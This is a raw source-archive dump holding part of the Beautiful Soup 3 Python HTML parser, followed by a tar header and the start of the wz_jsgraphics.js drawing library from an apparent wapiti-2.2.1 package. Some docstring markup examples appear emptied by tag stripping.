**kwargs): self.name = name if isinstance(attrs, basestring): kwargs['class'] = _match_css_class(attrs) attrs = None if kwargs: if attrs: attrs = attrs.copy() attrs.update(kwargs) else: attrs = kwargs self.attrs = attrs self.text = text def __str__(self): if self.text: return self.text else: return "%s|%s" % (self.name, self.attrs) def searchTag(self, markupName=None, markupAttrs={}): found = None markup = None if isinstance(markupName, Tag): markup = markupName markupAttrs = markup callFunctionWithTagData = callable(self.name) \ and not isinstance(markupName, Tag) if (not self.name) \ or callFunctionWithTagData \ or (markup and self._matches(markup, self.name)) \ or (not markup and self._matches(markupName, self.name)): if callFunctionWithTagData: match = self.name(markupName, markupAttrs) else: match = True markupAttrMap = None for attr, matchAgainst in self.attrs.items(): if not markupAttrMap: if hasattr(markupAttrs, 'get'): markupAttrMap = markupAttrs else: markupAttrMap = {} for k,v in markupAttrs: markupAttrMap[k] = v attrValue = markupAttrMap.get(attr) if not self._matches(attrValue, matchAgainst): match = False break if match: if markup: found = markup else: found = markupName return found def search(self, markup): #print 'looking for %s in %s' % (self, markup) found = None # If given a list of items, scan it for a text element that # matches. if hasattr(markup, "__iter__") \ and not isinstance(markup, Tag): for element in markup: if isinstance(element, NavigableString) \ and self.search(element): found = element break # If it's a Tag, make sure its name or attributes match. # Don't bother with Tags if we're searching for text. elif isinstance(markup, Tag): if not self.text: found = self.searchTag(markup) # If it's text, make sure the text matches. elif isinstance(markup, NavigableString) or \ isinstance(markup, basestring): if self._matches(markup, self.text): found = markup else: raise Exception, "I don't know how to match against a %s" \ % markup.__class__ return found def _matches(self, markup, matchAgainst): #print "Matching %s against %s" % (markup, matchAgainst) result = False if matchAgainst is True: result = markup is not None elif callable(matchAgainst): result = matchAgainst(markup) else: #Custom match methods take the tag as an argument, but all #other ways of matching match the tag name as a string. if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): markup = unicode(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. result = markup and matchAgainst.search(markup) elif hasattr(matchAgainst, '__iter__'): # list-like result = markup in matchAgainst elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): if isinstance(markup, unicode): matchAgainst = unicode(matchAgainst) else: matchAgainst = str(matchAgainst) if not result: result = matchAgainst == markup return result class ResultSet(list): """A ResultSet is just a list that keeps track of the SoupStrainer that created it.""" def __init__(self, source): list.__init__([]) self.source = source # Now, some helper functions. def buildTagMap(default, *args): """Turns a list of maps, lists, or scalars into a single map. Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and NESTING_RESET_TAGS maps out of lists and partial maps.""" built = {} for portion in args: if hasattr(portion, 'items'): #It's a map. Merge it. for k,v in portion.items(): built[k] = v elif hasattr(portion, '__iter__'): # is a list #It's a list. Map each item to the default. for k in portion: built[k] = default else: #It's a scalar. Map it to the default. built[portion] = default return built # Now, the parser classes. class BeautifulStoneSoup(Tag, SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the following: You can't close a tag without closing all the tags it encloses. That is, "" actually means "". [Another possible explanation is "", but since this class defines no SELF_CLOSING_TAGS, it will never use that explanation.] This class is useful for parsing XML or made-up markup languages, or when BeautifulSoup makes an assumption counter to what you were expecting.""" SELF_CLOSING_TAGS = {} NESTABLE_TAGS = {} RESET_NESTING_TAGS = {} QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] MARKUP_MASSAGE = [(re.compile('(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), (re.compile(']*)>'), lambda x: '') ] ROOT_TAG_NAME = u'[document]' HTML_ENTITIES = "html" XML_ENTITIES = "xml" XHTML_ENTITIES = "xhtml" # TODO: This only exists for backwards-compatibility ALL_ENTITIES = XHTML_ENTITIES # Used when determining whether a text node is all whitespace and # can be replaced with a single space. A text node that contains # fancy Unicode spaces (usually non-breaking) should be left # alone. STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, } def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None, markupMassage=True, smartQuotesTo=XML_ENTITIES, convertEntities=None, selfClosingTags=None, isHTML=False): """The Soup object is initialized as the 'root tag', and the provided markup (which can be a string or a file-like object) is fed into the underlying parser. sgmllib will process most bad HTML, and the BeautifulSoup class has some tricks for dealing with some HTML that kills sgmllib, but Beautiful Soup can nonetheless choke or lose data if your data uses self-closing tags or declarations incorrectly. By default, Beautiful Soup uses regexes to sanitize input, avoiding the vast majority of these problems. If the problems don't apply to you, pass in False for markupMassage, and you'll get better performance. The default parser massage techniques fix the two most common instances of invalid HTML that choke sgmllib:
(No space between name of closing tag and tag close) (Extraneous whitespace in declaration) You can pass in a custom list of (RE object, replace method) tuples to get Beautiful Soup to scrub your input the way you want.""" self.parseOnlyThese = parseOnlyThese self.fromEncoding = fromEncoding self.smartQuotesTo = smartQuotesTo self.convertEntities = convertEntities # Set the rules for how we'll deal with the entities we # encounter if self.convertEntities: # It doesn't make sense to convert encoded characters to # entities even while you're converting entities to Unicode. # Just convert it all to Unicode. self.smartQuotesTo = None if convertEntities == self.HTML_ENTITIES: self.convertXMLEntities = False self.convertHTMLEntities = True self.escapeUnrecognizedEntities = True elif convertEntities == self.XHTML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = True self.escapeUnrecognizedEntities = False elif convertEntities == self.XML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False else: self.convertXMLEntities = False self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() self.markup = markup self.markupMassage = markupMassage try: self._feed(isHTML=isHTML) except StopParsing: pass self.markup = None # The markup can now be GCed def convert_charref(self, name): """This method fixes a bug in Python's SGMLParser.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127 : # ASCII ends at 127, not 255 return return self.convert_codepoint(n) def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup if isinstance(markup, unicode): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: dammit = UnicodeDammit\ (markup, [self.fromEncoding, inDocumentEncoding], smartQuotesTo=self.smartQuotesTo, isHTML=isHTML) markup = dammit.unicode self.originalEncoding = dammit.originalEncoding self.declaredHTMLEncoding = dammit.declaredHTMLEncoding if markup: if self.markupMassage: if not hasattr(self.markupMassage, "__iter__"): self.markupMassage = self.MARKUP_MASSAGE for fix, m in self.markupMassage: markup = fix.sub(m, markup) # TODO: We get rid of markupMassage so that the # soup object can be deepcopied later on. Some # Python installations can't copy regexes. If anyone # was relying on the existence of markupMassage, this # might cause problems. del(self.markupMassage) self.reset() SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: self.popTag() def __getattr__(self, methodName): """This method routes method call requests to either the SGMLParser superclass or the Tag superclass, depending on the method name.""" #print "__getattr__ called on %s.%s" % (self.__class__, methodName) if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): return SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: raise AttributeError def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" return self.SELF_CLOSING_TAGS.has_key(name) \ or self.instanceSelfClosingTags.has_key(name) def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] self.quoteStack = [] self.pushTag(self) def popTag(self): tag = self.tagStack.pop() #print "Pop", tag.name if self.tagStack: self.currentTag = self.tagStack[-1] return self.currentTag def pushTag(self, tag): #print "Push", tag.name if self.currentTag: self.currentTag.contents.append(tag) self.tagStack.append(tag) self.currentTag = self.tagStack[-1] def endData(self, containerClass=NavigableString): if self.currentData: currentData = u''.join(self.currentData) if (currentData.translate(self.STRIP_ASCII_SPACES) == '' and not set([tag.name for tag in self.tagStack]).intersection( self.PRESERVE_WHITESPACE_TAGS)): if '\n' in currentData: currentData = '\n' else: currentData = ' ' self.currentData = [] if self.parseOnlyThese and len(self.tagStack) <= 1 and \ (not self.parseOnlyThese.text or \ not self.parseOnlyThese.search(currentData)): return o = containerClass(currentData) o.setup(self.currentTag, self.previous) if self.previous: self.previous.next = o self.previous = o self.currentTag.contents.append(o) def _popToTag(self, name, inclusivePop=True): """Pops the tag stack up to and including the most recent instance of the given tag. If inclusivePop is false, pops the tag stack up to but *not* including the most recent instqance of the given tag.""" #print "Popping to %s" % name if name == self.ROOT_TAG_NAME: return numPops = 0 mostRecentTag = None for i in range(len(self.tagStack)-1, 0, -1): if name == self.tagStack[i].name: numPops = len(self.tagStack)-i break if not inclusivePop: numPops = numPops - 1 for i in range(0, numPops): mostRecentTag = self.popTag() return mostRecentTag def _smartPop(self, name): """We need to pop up to the previous tag of this type, unless one of this tag's nesting reset triggers comes between this tag and the previous tag of this type, OR unless this tag is a generic nesting trigger and another generic nesting trigger comes between this tag and the previous tag of this type. Examples:

FooBar *

* should pop to 'p', not 'b'.

FooBar *

* should pop to 'table', not 'p'.

Foo

Bar *

* should pop to 'tr', not 'p'.

    • *
    • * should pop to 'ul', not the first 'li'.
  • ** should pop to 'table', not the first 'tr' tag should implicitly close the previous tag within the same
    ** should pop to 'tr', not the first 'td' """ nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None isResetNesting = self.RESET_NESTING_TAGS.has_key(name) popTo = None inclusive = True for i in range(len(self.tagStack)-1, 0, -1): p = self.tagStack[i] if (not p or p.name == name) and not isNestable: #Non-nestable tags get popped to the top or to their #last occurance. popTo = name break if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting and self.RESET_NESTING_TAGS.has_key(p.name)): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag #that causes nesting to reset, pop up to but not #including that tag. popTo = p.name inclusive = False break p = p.parent if popTo: self._popToTag(popTo, inclusive) def unknown_starttag(self, name, attrs, selfClosing=0): #print "Start tag %s: %s" % (name, attrs) if self.quoteStack: #This is not a real tag. #print "<%s> is not real!" % name attrs = ''.join([' %s="%s"' % (x, y) for x, y in attrs]) self.handle_data('<%s%s>' % (name, attrs)) return self.endData() if not self.isSelfClosingTag(name) and not selfClosing: self._smartPop(name) if self.parseOnlyThese and len(self.tagStack) <= 1 \ and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)): return tag = Tag(self, name, attrs, self.currentTag, self.previous) if self.previous: self.previous.next = tag self.previous = tag self.pushTag(tag) if selfClosing or self.isSelfClosingTag(name): self.popTag() if name in self.QUOTE_TAGS: #print "Beginning quote (%s)" % name self.quoteStack.append(name) self.literal = 1 return tag def unknown_endtag(self, name): #print "End tag %s" % name if self.quoteStack and self.quoteStack[-1] != name: #This is not a real end tag. #print " is not real!" % name self.handle_data('' % name) return self.endData() self._popToTag(name) if self.quoteStack and self.quoteStack[-1] == name: self.quoteStack.pop() self.literal = (len(self.quoteStack) > 0) def handle_data(self, data): self.currentData.append(data) def _toStringSubclass(self, text, subclass): """Adds a certain piece of text to the tree as a NavigableString subclass.""" self.endData() self.handle_data(text) self.endData(subclass) def handle_pi(self, text): """Handle a processing instruction as a ProcessingInstruction object, possibly one with a %SOUP-ENCODING% slot into which an encoding will be plugged later.""" if text[:3] == "xml": text = u"xml version='1.0' encoding='%SOUP-ENCODING%'" self._toStringSubclass(text, ProcessingInstruction) def handle_comment(self, text): "Handle comments as Comment objects." self._toStringSubclass(text, Comment) def handle_charref(self, ref): "Handle character references as data." if self.convertEntities: data = unichr(int(ref)) else: data = '&#%s;' % ref self.handle_data(data) def handle_entityref(self, ref): """Handle entity references as data, possibly converting known HTML and/or XML entity references to the corresponding Unicode characters.""" data = None if self.convertHTMLEntities: try: data = unichr(name2codepoint[ref]) except KeyError: pass if not data and self.convertXMLEntities: data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref) if not data and self.convertHTMLEntities and \ not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref): # TODO: We've got a problem here. We're told this is # an entity reference, but it's not an XML entity # reference or an HTML entity reference. Nonetheless, # the logical thing to do is to pass it through as an # unrecognized entity reference. # # Except: when the input is "&carol;" this function # will be called with input "carol". When the input is # "AT&T", this function will be called with input # "T". We have no way of knowing whether a semicolon # was present originally, so we don't know whether # this is an unknown entity or just a misplaced # ampersand. # # The more common case is a misplaced ampersand, so I # escape the ampersand and omit the trailing semicolon. data = "&%s" % ref if not data: # This case is different from the one above, because we # haven't already gone through a supposedly comprehensive # mapping of entities to Unicode characters. We might not # have gone through any mapping at all. So the chances are # very high that this is a real entity, and not a # misplaced ampersand. data = "&%s;" % ref self.handle_data(data) def handle_decl(self, data): "Handle DOCTYPEs and the like as Declaration objects." self._toStringSubclass(data, Declaration) def parse_declaration(self, i): """Treat a bogus SGML declaration as raw data. Treat a CDATA declaration as a CData object.""" j = None if self.rawdata[i:i+9] == '', i) if k == -1: k = len(self.rawdata) data = self.rawdata[i+9:k] j = k+3 self._toStringSubclass(data, CData) else: try: j = SGMLParser.parse_declaration(self, i) except SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) return j class BeautifulSoup(BeautifulStoneSoup): """This parser knows the following facts about HTML: * Some tags have no closing tag and should be interpreted as being closed as soon as they are encountered. * The text inside some tags (ie. 'script') may contain tags which are not really part of the document and which should be parsed as text, not tags. If you want to parse the text as tags, you can always fetch it and parse it explicitly. * Tag nesting rules: Most tags can't be nested at all. For instance, the occurance of a

    tag should implicitly close the previous

    tag.

    Para1

    Para2 should be transformed into:

    Para1

    Para2 Some tags can be nested arbitrarily. For instance, the occurance of a

    tag should _not_ implicitly close the previous
    tag. Alice said:
    Bob said:
    Blah should NOT be transformed into: Alice said:
    Bob said:
    Blah Some tags can be nested, but the nesting is reset by the interposition of other tags. For instance, a
    , but not close a tag in another table.
    BlahBlah should be transformed into:
    BlahBlah but, Blah
    Blah should NOT be transformed into Blah
    Blah Differing assumptions about tag nesting rules are a major source of problems with the BeautifulSoup class. If BeautifulSoup is not treating as nestable a tag your page author treats as nestable, try ICantBelieveItsBeautifulSoup, MinimalSoup, or BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): if not kwargs.has_key('smartQuotesTo'): kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) SELF_CLOSING_TAGS = buildTagMap(None, ('br' , 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base', 'col')) PRESERVE_WHITESPACE_TAGS = set(['pre', 'textarea']) QUOTE_TAGS = {'script' : None, 'textarea' : None} #According to the HTML standard, each of these inline tags can #contain another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_INLINE_TAGS = ('span', 'font', 'q', 'object', 'bdo', 'sub', 'sup', 'center') #According to the HTML standard, these block tags can contain #another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_BLOCK_TAGS = ('blockquote', 'div', 'fieldset', 'ins', 'del') #Lists can contain other lists, but there are restrictions. NESTABLE_LIST_TAGS = { 'ol' : [], 'ul' : [], 'li' : ['ul', 'ol'], 'dl' : [], 'dd' : ['dl'], 'dt' : ['dl'] } #Tables can contain other tables, but there are restrictions. NESTABLE_TABLE_TAGS = {'table' : [], 'tr' : ['table', 'tbody', 'tfoot', 'thead'], 'td' : ['tr'], 'th' : ['tr'], 'thead' : ['table'], 'tbody' : ['table'], 'tfoot' : ['table'], } NON_NESTABLE_BLOCK_TAGS = ('address', 'form', 'p', 'pre') #If one of these tags is encountered, all tags up to the next tag of #this type are popped. RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript', NON_NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta CHARSET_RE = re.compile("((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, try to convert the document to that charset, and re-parse the document from the beginning.""" httpEquiv = None contentType = None contentTypeIndex = None tagNeedsEncodingSubstitution = False for i in range(0, len(attrs)): key, value = attrs[i] key = key.lower() if key == 'http-equiv': httpEquiv = value elif key == 'content': contentType = value contentTypeIndex = i if httpEquiv and contentType: # It's an interesting meta tag. match = self.CHARSET_RE.search(contentType) if match: if (self.declaredHTMLEncoding is not None or self.originalEncoding == self.fromEncoding): # An HTML encoding was sniffed while converting # the document to Unicode, or an HTML encoding was # sniffed during a previous pass through the # document, or an encoding was specified # explicitly and it worked. Rewrite the meta tag. def rewrite(match): return match.group(1) + "%SOUP-ENCODING%" newAttr = self.CHARSET_RE.sub(rewrite, contentType) attrs[contentTypeIndex] = (attrs[contentTypeIndex][0], newAttr) tagNeedsEncodingSubstitution = True else: # This is our first pass through the document. # Go through it again with the encoding information. newCharset = match.group(3) if newCharset and newCharset != self.originalEncoding: self.declaredHTMLEncoding = newCharset self._feed(self.declaredHTMLEncoding) raise StopParsing pass tag = self.unknown_starttag("meta", attrs) if tag and tagNeedsEncodingSubstitution: tag.containsSubstitutions = True class StopParsing(Exception): pass class ICantBelieveItsBeautifulSoup(BeautifulSoup): """The BeautifulSoup class is oriented towards skipping over common HTML errors like unclosed tags. However, sometimes it makes errors of its own. For instance, consider this fragment: FooBar This is perfectly valid (if bizarre) HTML. However, the BeautifulSoup class will implicitly close the first b tag when it encounters the second 'b'. It will think the author wrote "FooBar", and didn't close the first 'b' tag, because there's no real-world reason to bold something that's already bold. When it encounters '' it will close two more 'b' tags, for a grand total of three tags closed instead of two. This can throw off the rest of your document structure. The same is true of a number of other tags, listed below. It's much more common for someone to forget to close a 'b' tag than to actually use nested 'b' tags, and the BeautifulSoup class handles the common case. This class handles the not-co-common case: where you can't believe someone wrote what they did, but it's valid HTML and BeautifulSoup screwed up by assuming it wouldn't be.""" I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \ ('em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong', 'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b', 'big') I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ('noscript') NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS) class MinimalSoup(BeautifulSoup): """The MinimalSoup class is for parsing HTML that contains pathologically bad markup. It makes no assumptions about tag nesting, but it does know which tags are self-closing, that wapiti-2.2.1/src/report_template/includes/js/wz_jsgraphics.js0000644000000000000000000005574511064471200023154 0ustar rootroot/* This notice must be untouched at all times. wz_jsgraphics.js v. 3.00 The latest version is available at http://www.walterzorn.com or http://www.devira.com or http://www.walterzorn.de Copyright (c) 2002-2004 Walter Zorn. All rights reserved. Created 3. 11. 2002 by Walter Zorn (Web: http://www.walterzorn.com ) Last modified: 4. 2. 2007 Performance optimizations for Internet Explorer by Thomas Frank and John Holdsworth. fillPolygon method implemented by Matthieu Haller. High Performance JavaScript Graphics Library. Provides methods - to draw lines, rectangles, ellipses, polygons with specifiable line thickness, - to fill rectangles, polygons, ellipses and arcs - to draw text. NOTE: Operations, functions and branching have rather been optimized to efficiency and speed than to shortness of source code. LICENSE: LGPL This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA, or see http://www.gnu.org/copyleft/lesser.html */ var jg_ok, jg_ie, jg_fast, jg_dom, jg_moz; function chkDHTM(x, i) { x = document.body || null; jg_ie = x && typeof x.insertAdjacentHTML != "undefined" && document.createElement; jg_dom = (x && !jg_ie && typeof x.appendChild != "undefined" && typeof document.createRange != "undefined" && typeof (i = document.createRange()).setStartBefore != "undefined" && typeof i.createContextualFragment != "undefined"); jg_fast = jg_ie && document.all && !window.opera; jg_moz = jg_dom && typeof x.style.MozOpacity != "undefined"; jg_ok = !!(jg_ie || jg_dom); } function pntCnvDom() { var x = this.wnd.document.createRange(); x.setStartBefore(this.cnv); x = x.createContextualFragment(jg_fast? this.htmRpc() : this.htm); if(this.cnv) this.cnv.appendChild(x); this.htm = ""; } function pntCnvIe() { if(this.cnv) this.cnv.insertAdjacentHTML("BeforeEnd", jg_fast? this.htmRpc() : this.htm); this.htm = ""; } function pntDoc() { this.wnd.document.write(jg_fast? this.htmRpc() : this.htm); this.htm = ''; } function pntN() { ; } function mkDiv(x, y, w, h) { this.htm += '
    <\/div>'; } function mkDivIe(x, y, w, h) { this.htm += '%%'+this.color+';'+x+';'+y+';'+w+';'+h+';'; } function mkDivPrt(x, y, w, h) { this.htm += '
    <\/div>'; } var regex = /%%([^;]+);([^;]+);([^;]+);([^;]+);([^;]+);/g; function htmRpc() { return this.htm.replace( regex, '
    \n'); } function htmPrtRpc() { return this.htm.replace( regex, '
    \n'); } function mkLin(x1, y1, x2, y2) { if(x1 > x2) { var _x2 = x2; var _y2 = y2; x2 = x1; y2 = y1; x1 = _x2; y1 = _y2; } var dx = x2-x1, dy = Math.abs(y2-y1), x = x1, y = y1, yIncr = (y1 > y2)? -1 : 1; if(dx >= dy) { var pr = dy<<1, pru = pr - (dx<<1), p = pr-dx, ox = x; while(dx > 0) {--dx; ++x; if(p > 0) { this.mkDiv(ox, y, x-ox, 1); y += yIncr; p += pru; ox = x; } else p += pr; } this.mkDiv(ox, y, x2-ox+1, 1); } else { var pr = dx<<1, pru = pr - (dy<<1), p = pr-dy, oy = y; if(y2 <= y1) { while(dy > 0) {--dy; if(p > 0) { this.mkDiv(x++, y, 1, oy-y+1); y += yIncr; p += pru; oy = y; } else { y += yIncr; p += pr; } } this.mkDiv(x2, y2, 1, oy-y2+1); } else { while(dy > 0) {--dy; y += yIncr; if(p > 0) { this.mkDiv(x++, oy, 1, y-oy); p += pru; oy = y; } else p += pr; } this.mkDiv(x2, oy, 1, y2-oy+1); } } } function mkLin2D(x1, y1, x2, y2) { if(x1 > x2) { var _x2 = x2; var _y2 = y2; x2 = x1; y2 = y1; x1 = _x2; y1 = _y2; } var dx = x2-x1, dy = Math.abs(y2-y1), x = x1, y = y1, yIncr = (y1 > y2)? -1 : 1; var s = this.stroke; if(dx >= dy) { if(dx > 0 && s-3 > 0) { var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx; _s = (!(s-4)? Math.ceil(_s) : Math.round(_s)) + 1; } else var _s = s; var ad = Math.ceil(s/2); var pr = dy<<1, pru = pr - (dx<<1), p = pr-dx, ox = x; while(dx > 0) {--dx; ++x; if(p > 0) { this.mkDiv(ox, y, x-ox+ad, _s); y += yIncr; p += pru; ox = x; } else p += pr; } this.mkDiv(ox, y, x2-ox+ad+1, _s); } else { if(s-3 > 0) { var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy; _s = (!(s-4)? Math.ceil(_s) : Math.round(_s)) + 1; } else var _s = s; var ad = Math.round(s/2); var pr = dx<<1, pru = pr - (dy<<1), p = pr-dy, oy = y; if(y2 <= y1) { ++ad; while(dy > 0) {--dy; if(p > 0) { this.mkDiv(x++, y, _s, oy-y+ad); y += yIncr; p += pru; oy = y; } else { y += yIncr; p += pr; } } this.mkDiv(x2, y2, _s, oy-y2+ad); } else { while(dy > 0) {--dy; y += yIncr; if(p > 0) { this.mkDiv(x++, oy, _s, y-oy+ad); p += pru; oy = y; } else p += pr; } this.mkDiv(x2, oy, _s, y2-oy+ad+1); } } } function mkLinDott(x1, y1, x2, y2) { if(x1 > x2) { var _x2 = x2; var _y2 = y2; x2 = x1; y2 = y1; x1 = _x2; y1 = _y2; } var dx = x2-x1, dy = Math.abs(y2-y1), x = x1, y = y1, yIncr = (y1 > y2)? -1 : 1, drw = true; if(dx >= dy) { var pr = dy<<1, pru = pr - (dx<<1), p = pr-dx; while(dx > 0) {--dx; if(drw) this.mkDiv(x, y, 1, 1); drw = !drw; if(p > 0) { y += yIncr; p += pru; } else p += pr; ++x; } } else { var pr = dx<<1, pru = pr - (dy<<1), p = pr-dy; while(dy > 0) {--dy; if(drw) this.mkDiv(x, y, 1, 1); drw = !drw; y += yIncr; if(p > 0) { ++x; p += pru; } else p += pr; } } if(drw) this.mkDiv(x, y, 1, 1); } function mkOv(left, top, width, height) { var a = (++width)>>1, b = (++height)>>1, wod = width&1, hod = height&1, cx = left+a, cy = top+b, x = 0, y = b, ox = 0, oy = b, aa2 = (a*a)<<1, aa4 = aa2<<1, bb2 = (b*b)<<1, bb4 = bb2<<1, st = (aa2>>1)*(1-(b<<1)) + bb2, tt = (bb2>>1) - aa2*((b<<1)-1), w, h; while(y > 0) { if(st < 0) { st += bb2*((x<<1)+3); tt += bb4*(++x); } else if(tt < 0) { st += bb2*((x<<1)+3) - aa4*(y-1); tt += bb4*(++x) - aa2*(((y--)<<1)-3); w = x-ox; h = oy-y; if((w&2) && (h&2)) { this.mkOvQds(cx, cy, x-2, y+2, 1, 1, wod, hod); this.mkOvQds(cx, cy, x-1, y+1, 1, 1, wod, hod); } else this.mkOvQds(cx, cy, x-1, oy, w, h, wod, hod); ox = x; oy = y; } else { tt -= aa2*((y<<1)-3); st -= aa4*(--y); } } w = a-ox+1; h = (oy<<1)+hod; y = cy-oy; this.mkDiv(cx-a, y, w, h); this.mkDiv(cx+ox+wod-1, y, w, h); } function mkOv2D(left, top, width, height) { var s = this.stroke; width += s+1; height += s+1; var a = width>>1, b = height>>1, wod = width&1, hod = height&1, cx = left+a, cy = top+b, x = 0, y = b, aa2 = (a*a)<<1, aa4 = aa2<<1, bb2 = (b*b)<<1, bb4 = bb2<<1, st = (aa2>>1)*(1-(b<<1)) + bb2, tt = (bb2>>1) - aa2*((b<<1)-1); if(s-4 < 0 && (!(s-2) || width-51 > 0 && height-51 > 0)) { var ox = 0, oy = b, w, h, pxw; while(y > 0) { if(st < 0) { st += bb2*((x<<1)+3); tt += bb4*(++x); } else if(tt < 0) { st += bb2*((x<<1)+3) - aa4*(y-1); tt += bb4*(++x) - aa2*(((y--)<<1)-3); w = x-ox; h = oy-y; if(w-1) { pxw = w+1+(s&1); h = s; } else if(h-1) { pxw = s; h += 1+(s&1); } else pxw = h = s; this.mkOvQds(cx, cy, x-1, oy, pxw, h, wod, hod); ox = x; oy = y; } else { tt -= aa2*((y<<1)-3); st -= aa4*(--y); } } this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod); this.mkDiv(cx+a+wod-s, cy-oy, s, (oy<<1)+hod); } else { var _a = (width-(s<<1))>>1, _b = (height-(s<<1))>>1, _x = 0, _y = _b, _aa2 = (_a*_a)<<1, _aa4 = _aa2<<1, _bb2 = (_b*_b)<<1, _bb4 = _bb2<<1, _st = (_aa2>>1)*(1-(_b<<1)) + _bb2, _tt = (_bb2>>1) - _aa2*((_b<<1)-1), pxl = new Array(), pxt = new Array(), _pxb = new Array(); pxl[0] = 0; pxt[0] = b; _pxb[0] = _b-1; while(y > 0) { if(st < 0) { pxl[pxl.length] = x; pxt[pxt.length] = y; st += bb2*((x<<1)+3); tt += bb4*(++x); } else if(tt < 0) { pxl[pxl.length] = x; st += bb2*((x<<1)+3) - aa4*(y-1); tt += bb4*(++x) - aa2*(((y--)<<1)-3); pxt[pxt.length] = y; } else { tt -= aa2*((y<<1)-3); st -= aa4*(--y); } if(_y > 0) { if(_st < 0) { _st += _bb2*((_x<<1)+3); _tt += _bb4*(++_x); _pxb[_pxb.length] = _y-1; } else if(_tt < 0) { _st += _bb2*((_x<<1)+3) - _aa4*(_y-1); _tt += _bb4*(++_x) - _aa2*(((_y--)<<1)-3); _pxb[_pxb.length] = _y-1; } else { _tt -= _aa2*((_y<<1)-3); _st -= _aa4*(--_y); _pxb[_pxb.length-1]--; } } } var ox = -wod, oy = b, _oy = _pxb[0], l = pxl.length, w, h; for(var i = 0; i < l; i++) { if(typeof _pxb[i] != "undefined") { if(_pxb[i] < _oy || pxt[i] < oy) { x = pxl[i]; this.mkOvQds(cx, cy, x, oy, x-ox, oy-_oy, wod, hod); ox = x; oy = pxt[i]; _oy = _pxb[i]; } } else { x = pxl[i]; this.mkDiv(cx-x, cy-oy, 1, (oy<<1)+hod); this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod); ox = x; oy = pxt[i]; } } this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod); this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod); } } function mkOvDott(left, top, width, height) { var a = (++width)>>1, b = (++height)>>1, wod = width&1, hod = height&1, hodu = hod^1, cx = left+a, cy = top+b, x = 0, y = b, aa2 = (a*a)<<1, aa4 = aa2<<1, bb2 = (b*b)<<1, bb4 = bb2<<1, st = (aa2>>1)*(1-(b<<1)) + bb2, tt = (bb2>>1) - aa2*((b<<1)-1), drw = true; while(y > 0) { if(st < 0) { st += bb2*((x<<1)+3); 